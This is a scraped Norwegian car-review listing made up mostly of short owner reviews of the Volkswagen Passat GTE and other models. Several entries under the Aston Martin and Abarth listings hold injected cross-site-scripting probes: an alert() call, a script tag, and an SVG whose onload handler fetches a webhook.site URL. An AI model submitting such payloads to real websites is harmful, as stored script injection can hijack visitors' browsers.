Volkswagen Passat GTE (2021)

Økonomisk og romslig. Pinglete bensinmotor. Lite display, «gammelt» kjøremiljø, kupevarmerstyring upålitelig (kjedelig om vinteren), av og til må man trykke på startknappen en ekstra gang for

Volkswagen Passat GTE (2021)

Veldig fornøyd med bilen

Volkswagen Passat GTE (2020)

Totalt sett en elegant og god bil, men oppleves ikke spesielt moderne, tross utstyr som travel assist med en viss grad av selvkjørende egenskaper , LED lys og elektrisk korsryggstøtte...

Volkswagen Passat GTE (2020)

Super bil som leverer med nok HK.

Volkswagen Passat GTE (2018)

Meget bra

Volkswagen Passat GTE (2018)

Helt topp bil for oss som har mye småkjøring, og noen lengre turer i "ny og ne". Gj.snitt forbruk så langt ligger på 0.24 liter på mila. Svært god plass, veldig god rekkevidde i El-modus. Stilig

Volkswagen Passat GTE (2018)

9

Volkswagen Passat GTE (2017)

Mye bil for pengene. Super kombinasjon for dem som reiser kort i det daglige og langt innimellom. Erfart rekkevidde på strøm er ca 18-44 km avhengig av vær og bruk. Ofte ca. 30 km. Anskaffet veggla

Volkswagen Passat GTE (2017)

Meget godt fornøyd med bilen som sådan, og ikke minst med hybridløsningen. Lavt forbruk også i hybdridmodus, i motsetning til visse SUVer som veier 5-600 kilo mer. Sprek, stillegående, romslig og

Volkswagen Passat GTE (2017)

Veldig fin bil

Volkswagen Passat GTE (2017)

Helt topp bil! Gøy å kjøre, drivstoffgjerrig, og masse utstyr! Neste bil blir en ny av samme type med enda mer utstyr.

Volkswagen Passat GTE (2017)

Sprek bil med mye utstyr og plass Pris tatt i betraktning er dette et meget godt bilkjøp Eneste negative er at det er en VW

Volkswagen Passat GTE (2017)

Fantastisk bil med god kvalitet og mye utstyr. God batterikapasitet og masse krefter. Samme baggasjerom som standard Passat. Det er kun plassen under gulvet som er borte.

Volkswagen Passat GTE (2017)

God bil med lekkert utseende og langt ifra gubbebil

Volkswagen Passat GTE (2017)

Sprek bil som er komfortabel og billig til daglig bruk mellom hjem og jobb

Mazda CX-5 (2013)

Bilens største utfordring med skyactive motor er relatert til partikkelfilter, koksing av inntaksmanifold og tett sumpfilter, som kan lede til havari. Annet er utkobling av turbo på grunn av feil ve

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h